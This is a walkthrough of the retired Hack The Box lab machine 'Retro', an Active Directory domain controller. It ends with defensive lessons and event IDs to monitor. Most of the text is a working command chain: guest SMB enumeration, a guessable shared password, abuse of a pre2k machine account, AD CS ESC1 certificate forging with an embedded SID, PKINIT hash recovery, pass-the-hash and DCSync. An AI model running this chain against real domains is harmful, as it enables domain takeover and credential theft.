Retro
Executive summary — Retro is a Windows Server 2022 domain controller (
retro.vl) rated Easy on HTB, a machine that originally came from VulnLab. A guest-readable share explains that all trainees share one account, whose password is its own name. Another share then reveals, in a to-do note, a pre-created computer account (BANKING$) with the classic pre2k password. That machine account can enroll in an AD CS template vulnerable to ESC1, but the textbook attack fails twice: the CA enforces a 4096-bit key and the DC enforces strong certificate binding whileAdministratorhas no UPN. Targeting a different Domain Admin and embedding his SID in the certificate solves both.
| Platform | Hack The Box (originally a VulnLab machine) |
| OS | Windows Server 2022 (Build 20348), DC DC.retro.vl |
| Difficulty | Easy |
| Status | Retired |
| Services | 53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 3389, 5985, 9389 |
| Techniques | Guest SMB, weak shared account, pre2k machine account, Kerberos authentication with a TGT, AD CS ESC1 with SID binding, PKINIT, Pass-the-Hash, DCSync |
Attack map
[445/SMB] guest reads share 'Trainees' -> Important.txt: one shared account
| trainee : trainee (password = username)
v
share 'Notes' -> ToDo.txt: a "pre-created computer account" must go
| RID brute shows BANKING$ ; pre2k: password = lowercase name
v
Kerberos TGT as BANKING$ (NTLM is refused for machine accounts)
| Domain Computers may enroll in template RetroClients
v
AD CS ESC1 (EnrolleeSuppliesSubject) -> cert for jburley, SID embedded
| Administrator has no UPN + strong certificate binding enforced
v
PKINIT -> NT hash of jburley (Domain Admin) -> WinRM / DCSync -> ROOT
1. Reconnaissance
sudo nmap -p- --min-rate 2000 -T4 -Pn -oN nmap/allports.txt <TARGET_IP>
sudo nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 -Pn -oN nmap/services.txt <TARGET_IP>
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
DNS, Kerberos, LDAP and Global Catalog, SMB, ADWS and WinRM together are the unmistakable signature of a domain controller.
nxc smb <TARGET_IP>
Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:None) (Null Auth:True)
Domain retro.vl, host DC, and Null Auth: True. The names go into /etc/hosts:
echo "<TARGET_IP> retro.vl dc.retro.vl DC" | sudo tee -a /etc/hosts
2. SMB enumeration as guest
nxc smb <TARGET_IP> -u '' -p '' --shares # null session: access denied
nxc smb <TARGET_IP> -u 'guest' -p '' --shares # guest session works
Share Permissions Remark
----- ----------- ------
ADMIN$ Remote Admin
C$ Default share
IPC$ READ Remote IPC
NETLOGON Logon server share
Notes
SYSVOL Logon server share
Trainees READ
Two non-standard shares: Notes and Trainees, the latter readable as guest. The guest session also allows a RID brute force to list the domain accounts:
nxc smb <TARGET_IP> -u 'guest' -p '' --rid-brute | grep SidTypeUser
RETRO\Administrator
RETRO\Guest
RETRO\krbtgt
RETRO\DC$
RETRO\trainee
RETRO\BANKING$ <-- an orphaned computer account
RETRO\jburley
RETRO\tblack
BANKING$ stands out: a machine account that doesn't match any host in the lab. Keep it in mind. The Trainees share holds a note:
smbclient //<TARGET_IP>/Trainees -U 'guest%' -c 'prompt OFF; recurse ON; mget *'
cat Important.txt
Dear Trainees,
I know that some of you seemed to struggle with remembering strong and unique passwords.
So we decided to bundle every one of you up into one account.
Stop bothering us. Please. We have other stuff to do than resetting your password every day.
Regards
The Admins
A single shared account for all trainees means a user called trainee, and a password chosen for convenience, most likely the username itself.
3. Foothold: trainee:trainee
nxc smb <TARGET_IP> -u 'trainee' -p 'trainee'
# [+] retro.vl\trainee:trainee
The guess works. With valid credentials the Notes share becomes readable:
nxc smb <TARGET_IP> -u trainee -p trainee --shares
smbclient //<TARGET_IP>/Notes -U 'trainee%trainee' -c 'prompt OFF; recurse ON; mget *'
cat ToDo.txt
Thomas,
after convincing the finance department to get rid of their ancienct banking software
it is finally time to clean up the mess they made. We should start with the pre created
computer account. That one is older than me.
Best
James
The share contains user.txt and this to-do note. "Pre created computer account" points straight at BANKING$ from the RID brute.
4. Lateral movement: the pre2k machine account
Why it matters. Computer accounts created with the "pre-Windows 2000 computer" option get a default password equal to the lowercase machine name, here banking. If the account was never used, that password was never changed.
nxc smb <TARGET_IP> -u 'BANKING$' -p 'banking'
# STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
This is not a failure.
STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNTmeans the credential is correct but a machine account is not allowed to log on over NTLM/SMB interactively. The way in is Kerberos.
impacket-getTGT retro.vl/'BANKING$':'banking' -dc-ip <TARGET_IP>
# [*] Saving ticket in BANKING$.ccache
export KRB5CCNAME=$PWD/'BANKING$.ccache'
BloodHound has to use Kerberos too, because the trust account blocks the NTLM bind:
bloodhound-python -u 'BANKING$' -p 'banking' -k -d retro.vl -ns <TARGET_IP> --dns-tcp -c All --zip --auth-method kerberos
jburleyis a member of Domain Admins (adminCount=1) and has the UPNjburley@retro.vl.Administratoralso hasadminCount=1but nouserPrincipalName.- Neither
BANKING$nortraineehas direct ACEs over privileged users, so the route is not an ACL chain: it is AD CS.
5. Domain escalation: AD CS ESC1
5.1 Finding the template
export KRB5CCNAME=$PWD/'BANKING$.ccache'
certipy-ad find -k -target dc.retro.vl -dc-ip <TARGET_IP> -ns <TARGET_IP> -vulnerable -stdout
CA Name : retro-DC-CA
Template Name : RetroClients
Enrollee Supplies Subject : True <-- ESC1
Client Authentication : True
Requires Manager Approval : False
Minimum RSA Key Length : 4096
Enrollment Rights : Domain Admins, Domain Computers, Enterprise Admins
[!] ESC1
ESC1: the template lets the requester supply the subject (EnrolleeSuppliesSubject) and is valid for client authentication, and Domain Computers may enroll. BANKING$ is a Domain Computer, so it can request a certificate on behalf of any other identity.
5.2 Two traps
Trap A: the minimum key size is 4096 bits. The first request fails with CERTSRV_E_KEY_LENGTH (0x80094811); the fix is -key-size 4096.
Trap B: Administrator has no UPN. The obvious request, a certificate for administrator@retro.vl, issues but cannot be used:
certipy-ad req -k -target dc.retro.vl -ca retro-DC-CA -template RetroClients \
-upn administrator@retro.vl -ns <TARGET_IP> -key-size 4096
certipy-ad auth -pfx administrator.pfx -dc-ip <TARGET_IP> -domain retro.vl
# [-] Object SID mismatch between certificate and user 'administrator'
LDAP confirms the diagnosis:
nxc ldap <TARGET_IP> -u trainee -p trainee --query "(sAMAccountName=Administrator)" "userPrincipalName"
# -> empty: Administrator has NO userPrincipalName
nxc ldap <TARGET_IP> -u trainee -p trainee --query "(sAMAccountName=jburley)" "userPrincipalName memberOf"
# userPrincipalName : jburley@retro.vl
# memberOf : CN=Domain Admins,...
Why strong binding matters. The DC has
StrongCertificateBindingEnforcement = 2(full enforcement): the certificate must carry the target's SID, embedded in the SAN astag:microsoft.com,2022-09-14:sid:<SID>. Without it, certipy reportsObject SID mismatchand PKINITtools getsKRB_AP_ERR_USER_TO_USER_REQUIRED. So the target must be jburley, a Domain Admin with a UPN, and the request must include his SID.
5.3 The correct request
nxc ldap <TARGET_IP> -u trainee -p trainee --query "(sAMAccountName=jburley)" "objectSid"
# -> S-1-5-21-2983547755-698260136-4283918172-1107
export KRB5CCNAME=$PWD/'BANKING$.ccache'
certipy-ad req -k -target dc.retro.vl -dc-ip <TARGET_IP> \
-ca retro-DC-CA -template RetroClients \
-upn jburley@retro.vl \
-sid 'S-1-5-21-2983547755-698260136-4283918172-1107' \
-ns <TARGET_IP> -key-size 4096 -out jburley_sid
# [*] Got certificate with UPN 'jburley@retro.vl'
The SID survives in the issued certificate, which can be checked:
certipy-ad cert -pfx jburley_sid.pfx -nokey -out /tmp/j.crt
openssl x509 -in /tmp/j.crt -text -noout | grep -A2 "Subject Alternative"
# othername: UPN:jburley@retro.vl,
# URI:tag:microsoft.com,2022-09-14:sid:S-1-5-21-2983547755-698260136-4283918172-1107
5.4 PKINIT to the NT hash
unset KRB5CCNAME
certipy-ad auth -pfx jburley_sid.pfx -dc-ip <TARGET_IP> -username jburley -domain retro.vl
# [*] Got TGT
# [*] Got hash for 'jburley@retro.vl': aad3b435b51404eeaad3b435b51404ee:38a7c1cf54d326ae1198a25067318b10
PKINIT authenticates with the certificate and, as a side effect, returns the account's NT hash (the UnPAC-the-hash technique). jburley is a Domain Admin.
6. Full compromise
nxc smb <TARGET_IP> -u jburley -H 38a7c1cf54d326ae1198a25067318b10 # (Pwn3d!)
nxc winrm <TARGET_IP> -u jburley -H 38a7c1cf54d326ae1198a25067318b10 # (Pwn3d!)
evil-winrm -i <TARGET_IP> -u jburley -H 38a7c1cf54d326ae1198a25067318b10
Pass-the-Hash works over both SMB and WinRM, which reads root.txt from the Administrator's desktop. As a bonus, DCSync gives persistence even if jburley's password is rotated:
impacket-secretsdump retro.vl/jburley@<TARGET_IP> \
-hashes :38a7c1cf54d326ae1198a25067318b10 -just-dc-user Administrator
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:252fac7066d93dd009d4fd2cd0368389:::
Troubleshooting notes
| Symptom | Cause | Fix |
|---|---|---|
STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT for BANKING$ | Machine accounts can't log on over NTLM/SMB | Not an error: the password is valid. Use impacket-getTGT. |
bloodhound-python with NTLM fails | Trust account blocks the NTLM bind | -k --auth-method kerberos with the ccache. |
CERTSRV_E_KEY_LENGTH 0x80094811 | Template requires RSA ≥ 4096 | -key-size 4096 |
Object SID mismatch (Administrator) | Strong binding + no UPN on Administrator | Target jburley and pass -sid. |
KRB_AP_ERR_USER_TO_USER_REQUIRED (PKINITtools) | Same root cause: certificate without SID | Include -sid in the request. |
NETBIOS connection timed out on certipy req | Intermittent RPC/DCOM in the lab | Retry. |
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Recon | SMB | Guest session and a readable Trainees share (CWE-200) | Reveals the shared-account policy |
| Foothold | trainee | Shared account with password = username (CWE-521) | Domain user and the Notes share |
| Lateral | BANKING$ | Pre-created machine account with default password (CWE-1392) | Kerberos identity as a Domain Computer |
| Privesc | AD CS RetroClients | ESC1: enrollee supplies subject, Domain Computers may enroll (CWE-295) | Certificate for a Domain Admin |
| Root | Domain controller | Credentials recoverable via PKINIT, DCSync from a non-DC host | Domain compromise |
Lessons
- A convenience account is a weak account. One shared login with a guessable password, announced in a note on a guest-readable share, is indefensible. Disable Guest and anonymous access and enforce a password policy.
- Clean up pre-created computer accounts. The to-do note asked for it. Delete
BANKING$or reset its password to a random one; never leave the default (lowercase name). - ESC1 is still the most common AD CS finding. Remove "Supply in the request" from client-authentication templates, require manager approval, and restrict who can enroll (here
Domain Computerscould). - Strong certificate binding changes the attack, it doesn't stop it. The textbook ESC1 against
Administratorfailed, but a different Domain Admin with the SID in the request worked. Monitor events 4886/4887 (certificate requests) and 4768 (PKINIT TGTs) for machine accounts requesting client-authentication certificates with another person's identity.
Note on the flags
As is standard on this site, the specific values of user.txt and root.txt aren't part of the documented method and are left out; the full process is described regardless.